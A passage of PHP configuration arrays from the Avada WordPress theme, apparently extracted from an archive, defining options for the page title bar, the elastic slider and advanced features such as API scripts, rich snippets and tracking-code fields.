title bar on desktop.', 'Avada' ), 'id' => 'page_title_height', 'default' => '300px', 'hidden' => $has_global_ptb, 'type' => 'dimension', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_height', 'element' => '.fusion-page-title-bar', ], ], ], 'page_title_mobile_height' => [ 'label' => esc_html__( 'Page Title Bar Mobile Height', 'Avada' ), 'description' => esc_html__( 'Controls the height of the page title bar on mobile.', 'Avada' ), 'id' => 'page_title_mobile_height', 'default' => '240px', 'hidden' => $has_global_ptb, 'type' => 'dimension', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_mobile_height', 'element' => '.fusion-page-title-bar', 'callback' => [ 'convert_font_size_to_px', [ 'setting' => 'page_title_font_size', 'addUnits' => true, ], ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'auto', '===' ], 'element' => 'body', 'className' => 'avada-has-page-title-mobile-height-auto', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'page_title_bg_color' => [ 'label' => esc_html__( 'Page Title Bar Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the page title bar.', 'Avada' ), 'id' => 'page_title_bg_color', 'default' => 'var(--awb-color2)', 'hidden' => $has_global_ptb, 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_bg_color', 'element' => '.fusion-page-title-bar', 'callback' => [ 'sanitize_color' ], ], ], ], 'page_title_border_color' => [ 'label' => esc_html__( 'Page Title Bar Borders Color', 'Avada' ), 'description' => esc_html__( 'Controls the border colors of the page title bar.', 'Avada' ), 'id' => 'page_title_border_color', 'default' => 'rgba(226,226,226,0)', 'hidden' => $has_global_ptb, 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_border_color', 'element' => '.fusion-page-title-bar', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => '.fusion-page-title-bar', 'property' => 'border', 'js_callback' => [ 'fusionReturnStringIfTransparent', [ 'transparent' => 'none', 'opaque' => '', ], ], 'sanitize_callback' => [ 'Avada_Output_Callbacks', 'page_title_border_color' ], ], ], ], 'page_title_font_size' => [ 'label' => esc_html__( 'Page Title Bar Heading Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for the page title bar main heading.', 'Avada' ), 'id' => 'page_title_font_size', 'default' => '54px', 'hidden' => $has_global_ptb, 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_font_size', 'element' => '.fusion-page-title-bar', ], ], ], 'page_title_line_height' => [ 'label' => esc_html__( 'Page Title Bar Heading Line Height', 'Avada' ), 'description' => esc_html__( 'Controls the line height for the page title bar main heading.', 'Avada' ), 'id' => 'page_title_line_height', 'default' => 'normal', 'hidden' => $has_global_ptb, 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_line_height', 'element' => '.fusion-page-title-bar', ], ], ], 'page_title_color' => [ 'label' => esc_html__( 'Page Title Bar Heading Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the page title bar main heading.', 'Avada' ), 'id' => 'page_title_color', 'default' => 'var(--awb-color8)', 'hidden' => $has_global_ptb, 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_color', 'element' => '.fusion-page-title-bar', 'callback' => [ 'sanitize_color' ], ], ], ], 'page_title_subheader_font_size' => [ 'label' => esc_html__( 'Page Title Bar Subheading Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for the page titlebar subheading.', 'Avada' ), 'id' => 'page_title_subheader_font_size', 'default' => '18px', 'hidden' => $has_global_ptb, 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_subheader_font_size', 'element' => '.fusion-page-title-bar', ], ], ], 'page_title_subheader_color' => [ 'label' => esc_html__( 'Page Title Bar Subheading Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the page title bar subheading.', 'Avada' ), 'id' => 'page_title_subheader_color', 'default' => 'var(--awb-color8)', 'hidden' => $has_global_ptb, 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_subheader_color', 'element' => '.fusion-page-title-bar', 'callback' => [ 'sanitize_color' ], ], ], ], 'page_title_alignment' => [ 'label' => esc_html__( 'Page Title Bar Text Alignment', 'Avada' ), 'description' => esc_html__( 'Choose the title and subhead text alignment. Breadcrumbs / search field will be on opposite side for left / right alignment and below the title for center alignment.', 'Avada' ), 'id' => 'page_title_alignment', 'default' => 'center', 'hidden' => $has_global_ptb, 'type' => 'radio-buttonset', 'choices' => [ 'left' => esc_html__( 'Left', 'Avada' ), 'center' => esc_html__( 'Center', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), ], 'soft_dependency' => true, 'partial_refresh' => [ 'page_title_bar_contents_page_title_alignment' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], 'success_trigger_event' => 'fusion-ptb-refreshed', 'skip_for_template' => [ 'page_title_bar' ], ], ], ], 'page_title_bar_bg_image_title' => [ 'label' => esc_html__( 'Page Title Bar Background Image', 'Avada' ), 'description' => '', 'id' => 'page_title_bar_bg_image_title', 'icon' => true, 'hidden' => $has_global_ptb, 'type' => 'info', ], 'page_title_bg' => [ 'label' => esc_html__( 'Page Title Bar Background Image', 'Avada' ), 'description' => esc_html__( 'Select an image for the page title bar background. If left empty, the page title bar background color will be used.', 'Avada' ), 'id' => 'page_title_bg', 'default' => '', 'hidden' => $has_global_ptb, 'mod' => '', 'type' => 'media', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_bg', 'element' => '.fusion-page-title-bar', 'choice' => 'url', 'callback' => [ 'fallback_to_value', [ 'url("$")', 'none' ] ], ], ], ], 'page_title_bg_retina' => [ 'label' => esc_html__( 'Retina Page Title Bar Background Image', 'Avada' ), 'description' => esc_html__( 'Select an image for the retina version of the page title bar background. It should be exactly 2x the size of the page title bar background.', 'Avada' ), 'id' => 'page_title_bg_retina', 'default' => '', 'hidden' => $has_global_ptb, 'mod' => '', 'type' => 'media', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--page_title_bg_retina', 'element' => '.fusion-page-title-bar', 'choice' => 'url', 'callback' => [ 'fallback_to_value', [ 'url("$")', 'var(--page_title_bg)' ] ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'has-image' ], 'element' => 'html', 'className' => 'avada-has-pagetitlebar-retina-bg-image', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'page_title_bg_full' => [ 'label' => esc_html__( '100% Background Image', 'Avada' ), 'description' => esc_html__( 'Turn on to have the page title bar background image display at 100% in width and height according to the window size.', 'Avada' ), 'id' => 'page_title_bg_full', 'default' => '0', 'hidden' => $has_global_ptb, 'type' => 'switch', 'soft_dependency' => true, 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-pagetitle-bg-full', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'page_title_bg_parallax' => [ 'label' => esc_html__( 'Parallax Background Image', 'Avada' ), 'description' => esc_html__( 'Turn on to use a parallax scrolling effect on the background image.', 'Avada' ), 'id' => 'page_title_bg_parallax', 'default' => '0', 'hidden' => $has_global_ptb, 'type' => 'switch', 'soft_dependency' => true, 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-pagetitle-bg-parallax', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'page_title_fading' => [ 'label' => esc_html__( 'Fading Animation', 'Avada' ), 'description' => esc_html__( 'Turn on to have the page title text fade on scroll.', 'Avada' ), 'id' => 'page_title_fading', 'default' => '0', 'hidden' => $has_global_ptb, 'type' => 'switch', 'soft_dependency' => true, 'output' => [ // This is for the avadaFadeVars.page_title_fading var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaFadeVars', 'id' => 'page_title_fading', 'trigger' => [ 'avadaTriggerPageTitleFading' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], ], ]; return $sections; } Avada/includes/options/elastic_slider.php000064400000022731152342437700014574 0ustar00 esc_html__( 'Elastic Slider', 'Avada' ), 'id' => 'heading_elastic_slider', 'priority' => 20, 'icon' => 'el-icon-photo-alt', 'alt_icon' => 'fusiona-images', 'fields' => [ 'tfes_disabled_note' => ( '0' === Avada()->settings->get( 'dependencies_status' ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Elastic Slider is disabled in Advanced > Post Types section. Please enable it to see the options.', 'Avada' ) . '
', 'id' => 'tfes_disabled_note', 'type' => 'custom', 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '0', ], ], ], 'tfes_dimensions' => [ 'label' => esc_html__( 'Elastic Slider Dimensions', 'Avada' ), 'description' => esc_html__( 'Controls the width and height for the elastic slider.', 'Avada' ), 'id' => 'tfes_dimensions', 'units' => false, 'default' => [ 'width' => '100%', 'height' => '400px', ], 'type' => 'dimensions', 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--tfes_dimensions-width', 'choice' => 'width', 'element' => '.ei-slider', ], [ 'name' => '--tfes_dimensions-height', 'choice' => 'height', 'element' => '.ei-slider', ], ], ], 'tfes_animation' => [ 'label' => esc_html__( 'Animation Type', 'Avada' ), 'description' => esc_html__( 'Controls if the elastic slides animate from the sides or center.', 'Avada' ), 'id' => 'tfes_animation', 'default' => 'sides', 'type' => 'radio-buttonset', 'choices' => [ 'sides' => esc_html__( 'Sides', 'Avada' ), 'center' => esc_html__( 'Center', 'Avada' ), ], 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'output' => [ // This is for the avadaElasticSliderVars.tfes_animation var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaElasticSliderVars', 'id' => 'tfes_animation', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'tfes_autoplay' => [ 'label' => esc_html__( 'Autoplay', 'Avada' ), 'description' => esc_html__( 'Turn on to autoplay the elastic slides.', 'Avada' ), 'id' => 'tfes_autoplay', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'output' => [ // This is for the avadaElasticSliderVars.tfes_autoplay var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaElasticSliderVars', 'id' => 'tfes_autoplay', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'tfes_interval' => [ 'label' => esc_html__( 'Slideshow Interval', 'Avada' ), 'description' => esc_html__( 'Controls how long each elastic slide is visible. ex: 1000 = 1 second.', 'Avada' ), 'id' => 'tfes_interval', 'default' => '3000', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '30000', 'step' => '50', ], 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'output' => [ // This is for the avadaElasticSliderVars.tfes_interval var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaElasticSliderVars', 'id' => 'tfes_interval', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'tfes_speed' => [ 'label' => esc_html__( 'Sliding Speed', 'Avada' ), 'description' => esc_html__( 'Controls the speed of the elastic slider slideshow. ex: 1000 = 1 second.', 'Avada' ), 'id' => 'tfes_speed', 'default' => '800', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '5000', 'step' => '50', ], 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'output' => [ // This is for the avadaElasticSliderVars.tfes_speed var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaElasticSliderVars', 'id' => 'tfes_speed', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'tfes_width' => [ 'label' => esc_html__( 'Thumbnail Width', 'Avada' ), 'description' => esc_html__( 'Controls the width of the elastic slider thumbnail images.', 'Avada' ), 'id' => 'tfes_width', 'default' => '150', 'type' => 'slider', 'choices' => [ 'min' => '0', 'step' => '1', 'max' => '500', 'edit' => 'yes', ], 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'output' => [ // This is for the avadaElasticSliderVars.tfes_width var. [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaElasticSliderVars', 'id' => 'tfes_width', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'es_title_font_size' => [ 'label' => esc_html__( 'Title Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for elastic slider title.', 'Avada' ), 'id' => 'es_title_font_size', 'default' => '42px', 'type' => 'dimension', 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--es_title_font_size', 'element' => '.ei-slider', ], ], ], 'es_caption_font_size' => [ 'label' => esc_html__( 'Caption Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for elastic slider caption.', 'Avada' ), 'id' => 'es_caption_font_size', 'default' => '20px', 'type' => 'dimension', 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--es_caption_font_size', ], ], ], 'es_title_color' => [ 'label' => esc_html__( 'Title Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the elastic slider title.', 'Avada' ), 'id' => 'es_title_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--es_title_color', 'element' => '.ei-slider', 'callback' => [ 'sanitize_color' ], ], ], ], 'es_caption_color' => [ 'label' => esc_html__( 'Caption Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the elastic slider caption.', 'Avada' ), 'id' => 'es_caption_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'status_eslider', 'operator' => '=', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--es_caption_color', 'element' => '.ei-slider', 'callback' => [ 'sanitize_color' ], ], ], ], ], ]; return $sections; } Avada/includes/options/advanced.php000064400000057743152342437700013366 0ustar00 esc_html__( 'Advanced', 'Avada' ), 'id' => 'heading_advanced', 'is_panel' => true, 'priority' => 25, 'icon' => 'el-icon-puzzle', 'alt_icon' => 'fusiona-dashboard', 'fields' => [ 'theme_features_section' => [ 'label' => esc_html__( 'Features', 'Avada' ), 'id' => 'theme_features_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'enable_language_updates' => [ 'label' => esc_html__( 'Enable Language Updates', 'Avada' ), 'description' => esc_html__( 'If your site is using a language other than English, enabling this option will allow you to get updated language files for your locale as soon as they are available.', 'Avada' ), 'id' => 'enable_language_updates', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'dependencies_status' => [ 'label' => esc_html__( "Avada's Option Network Dependencies", 'Avada' ), 'description' => esc_html__( "Avada's Option Network consists of Global Options, Page Options and Builder Options and each of them have dependent options ON by default. This means the only options you see are the only ones currently available for your selection. However, if you wish to disable this feature, simply turn this option off, and all dependencies will be disabled (requires save & refresh).", 'Avada' ), 'id' => 'dependencies_status', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'disable_code_block_encoding' => [ 'label' => esc_html__( 'Code Block Encoding', 'Avada' ), 'description' => esc_html__( 'Turn on to enable encoding in the Avada Builder code block and syntax highlighting elements.', 'Avada' ), 'id' => 'disable_code_block_encoding', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'disable_megamenu' => [ 'label' => esc_html__( 'Legacy Mega Menu', 'Avada' ), 'description' => esc_html__( 'Turn on to enable Avada\'s legacy mega menu.', 'Avada' ), 'id' => 'disable_megamenu', 'default' => '0', 'type' => 'switch', 'partial_refresh' => [ 'theme_features_disable_megamenu' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'status_widget_areas' => [ 'label' => esc_html__( 'Legacy Widget Areas', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the legacy widget areas of WordPress.', 'Avada' ), 'id' => 'status_widget_areas', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'status_avada_studio' => [ 'label' => esc_html__( 'Avada Studio', 'Avada' ), 'description' => esc_html__( 'Turn on to enable Avada studio.', 'Avada' ), 'id' => 'status_avada_studio', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'avada_rev_styles' => [ 'label' => esc_html__( 'Avada Styles For Slider Revolution', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the Avada styles and use the default Slider Revolution styles.', 'Avada' ), 'id' => 'avada_rev_styles', 'default' => '1', 'type' => 'switch', 'css_vars' => [ [ 'name' => '--avada-rev-image-shadow-top', 'value_pattern' => 'url("' . Fusion_Sanitize::css_asset_url( Avada::$template_dir_url . '/assets/images/shadow-top.png' ) . '")', 'element' => '.shadow-left', ], [ 'name' => '--avada-rev-image-shadow-bottom', 'value_pattern' => 'url("' . Fusion_Sanitize::css_asset_url( Avada::$template_dir_url . '/assets/images/shadow-bottom.png' ) . '")', 'element' => '.shadow-right', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-rev-slider-styles', ], ], 'sanitize_callback' => '__return_empty_string', ], // Change the avadaRevVars.avada_rev_styles var. [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaRevVars', 'id' => 'avada_rev_styles', 'trigger' => [ 'DestoryRevStyle', 'AddRevStyles' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'avada_styles_dropdowns' => [ 'label' => esc_html__( 'Avada Dropdown Styles', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the Avada styles for dropdown/select fields site wide. This should be done if you experience any issues with 3rd party plugin dropdowns.', 'Avada' ), 'id' => 'avada_styles_dropdowns', 'default' => '1', 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-dropdown-styles', ], ], 'sanitize_callback' => '__return_empty_string', ], // Change the avadaSelectVars.avada_drop_down var. [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaSelectVars', 'id' => 'avada_drop_down', 'trigger' => [ 'DestoryAvadaSelect', 'AddAvadaSelect' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'disable_mobile_image_hovers' => [ 'label' => esc_html__( 'CSS Image Hover Animations on Mobiles', 'Avada' ), 'description' => esc_html__( 'Turn on to enable CSS image hover animations on mobiles.', 'Avada' ), 'id' => 'disable_mobile_image_hovers', 'default' => '1', 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaMobileImageVars', 'id' => 'disable_mobile_image_hovers', 'trigger' => [ 'fusionDeactivateMobileImagHovers' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'status_yt' => [ 'label' => esc_html__( 'YouTube API Scripts', 'Avada' ), 'description' => esc_html__( 'Turn on to enable YouTube API scripts.', 'Avada' ), 'id' => 'status_yt', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', 'output' => [ // This is for the fusionVideoBgVars.status_yt var. [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionVideoBgVars', 'id' => 'status_yt', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionVideoGeneralVars', 'id' => 'status_yt', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionFlexSliderVars', 'id' => 'status_yt', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionBlogVars', 'id' => 'status_yt', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'status_vimeo' => [ 'label' => esc_html__( 'Vimeo API Scripts', 'Avada' ), 'description' => esc_html__( 'Turn on to enable Vimeo API scripts.', 'Avada' ), 'id' => 'status_vimeo', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', 'output' => [ // This is for the fusionVideoBgVars.status_vimeo var. [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionVideoBgVars', 'id' => 'status_vimeo', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionVideoGeneralVars', 'id' => 'status_vimeo', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionFlexSliderVars', 'id' => 'status_vimeo', 'trigger' => [ 'load' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'status_gmap' => [ 'label' => esc_html__( 'Google Map Scripts', 'Avada' ), 'description' => esc_html__( 'Turn on to enable google map.', 'Avada' ), 'id' => 'status_gmap', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'status_fontawesome' => [ 'label' => esc_html__( 'Font Awesome', 'Avada' ), 'description' => esc_html__( 'Choose which Font Awesome icon subsets you want to load. Note that Light subset can only be used if Font Awesome Pro is enabled.', 'Avada' ), 'id' => 'status_fontawesome', 'default' => [ 'fab', 'far', 'fas' ], 'type' => 'select', 'multi' => true, 'choices' => [ 'fab' => esc_html__( 'Brands', 'Avada' ), 'far' => esc_html__( 'Regular', 'Avada' ), 'fas' => esc_html__( 'Solid', 'Avada' ), 'fal' => esc_html__( 'Light', 'Avada' ), ], // No need to refresh the page. 'transport' => 'postMessage', ], 'fontawesome_v4_compatibility' => [ 'label' => esc_html__( 'Font Awesome v4 Compatibility', 'Avada' ), 'description' => esc_html__( 'Turn on to enable support for Font Awesome 4 icon code format.', 'Avada' ), 'id' => 'fontawesome_v4_compatibility', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'status_fontawesome_pro' => [ 'label' => esc_html__( 'Font Awesome Pro', 'Avada' ), /* translators: %1$s = license text & link. %2$s: whitelist text & link. */ 'description' => sprintf( esc_html__( 'Font Awesome Pro %1$s is required and you need to %2$s your domain.', 'Avada' ), 'license', 'whitelist' ), 'id' => 'status_fontawesome_pro', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'status_outline' => [ 'label' => esc_html__( 'CSS Outlines', 'Avada' ), 'description' => esc_html__( 'Turn on to enable browser specific CSS element outlines used to improve accessibility.', 'Avada' ), 'id' => 'status_outline', 'default' => '0', 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'fusion-disable-outline', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'meta_tags_separator' => [ 'label' => esc_html__( 'Meta Tags Separator', 'Avada' ), 'description' => esc_html__( 'Set a separator character that can be used in the Avada Page Options SEO tab for post title and description meta tags.', 'Avada' ), 'id' => 'meta_tags_separator', 'default' => '-', 'type' => 'text', ], 'status_opengraph' => [ 'label' => esc_html__( 'Description And Open Graph Meta Tags', 'Avada' ), 'description' => __( 'Turn on to enable custom description meta tag and open graph meta tags. These are used for SEO and when sharing pages on social networks like Facebook. IMPORTANT: Some SEO plugins, like Yoast SEO or RankMath, add their own implementation of this, so either disable the option in the plugin, or disable it here, to avoid duplicate tags.', 'Avada' ), 'id' => 'status_opengraph', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'disable_date_rich_snippet_pages' => [ 'label' => esc_html__( 'Rich Snippets', 'Avada' ), 'description' => esc_html__( 'Turn on to enable rich snippets data site wide. If set to "On", you can also control individual items below. If set to "Off" all items will be disabled.', 'Avada' ), 'id' => 'disable_date_rich_snippet_pages', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'disable_rich_snippet_title' => [ 'label' => esc_html__( 'Rich Snippets Title', 'Avada' ), 'description' => esc_html__( 'Turn on to enable title rich snippet data site wide.', 'Avada' ), 'id' => 'disable_rich_snippet_title', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'disable_date_rich_snippet_pages', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'disable_rich_snippet_author' => [ 'label' => esc_html__( 'Rich Snippets Author Info', 'Avada' ), 'description' => esc_html__( 'Turn on to enable author rich snippet data site wide.', 'Avada' ), 'id' => 'disable_rich_snippet_author', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'disable_date_rich_snippet_pages', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'disable_rich_snippet_date' => [ 'label' => esc_html__( 'Rich Snippets Last Update Date', 'Avada' ), 'description' => esc_html__( 'Turn on to enable udate date rich snippet data site wide.', 'Avada' ), 'id' => 'disable_rich_snippet_date', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'disable_date_rich_snippet_pages', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'disable_rich_snippet_faq' => [ 'label' => esc_html__( 'Rich Snippets FAQ', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the FAQ rich snippet data site wide.', 'Avada' ), 'id' => 'disable_rich_snippet_faq', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'disable_date_rich_snippet_pages', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'enable_block_editor_backend_styles' => [ 'label' => esc_html__( 'Enable WP Block Editor Backend Styles', 'Avada' ), 'description' => esc_html__( 'Turn on to enable Avada\'s backend style support for the WP block editor.', 'Avada' ), 'id' => 'enable_block_editor_backend_styles', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'load_block_styles' => [ 'label' => esc_html__( 'Load Frontend Block Styles', 'Avada' ), 'description' => esc_html__( 'Select "Auto" to automatically detect if there are blocks present in your page, and load block-styles in the footer.', 'Avada' ), 'id' => 'load_block_styles', 'default' => 'on', 'type' => 'radio-buttonset', 'choices' => [ 'auto' => esc_html__( 'Auto', 'Avada' ), 'on' => esc_html__( 'On', 'Avada' ), 'off' => esc_html__( 'Off', 'Avada' ), ], 'transport' => 'refresh', ], ], ], 'tracking_head_body_section' => [ 'label' => esc_html__( 'Code Fields (Tracking etc.)', 'Avada' ), 'id' => 'tracking_head_body_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'google_analytics' => [ 'label' => esc_html__( 'Tracking Code', 'Avada' ), 'description' => esc_html__( 'Paste your tracking code here. This will be added into the header template of your theme. Place code inside <script> tags.', 'Avada' ), 'id' => 'google_analytics', 'default' => '', 'type' => 'code', 'choices' => [ 'language' => 'html', 'height' => 300, 'theme' => 'chrome', ], // No need to refresh the page. 'transport' => 'postMessage' ], 'space_head' => [ 'label' => esc_html__( 'Space before </head>', 'Avada' ), 'description' => esc_html__( 'Only accepts JavaScript code wrapped with <script> tags and HTML markup that is valid inside the <head> tag.', 'Avada' ), 'id' => 'space_head', 'default' => '', 'type' => 'code', 'choices' => [ 'language' => 'html', 'height' => 350, 'theme' => 'chrome', ], // No need to refresh the page. 'transport' => 'postMessage', ], 'space_body_open' => [ 'label' => esc_html__( 'Space after <body>', 'Avada' ), 'description' => esc_html__( 'Only accepts JavaScript code, wrapped with <script> tags and valid HTML markup inside the <body> tag.', 'Avada' ), 'id' 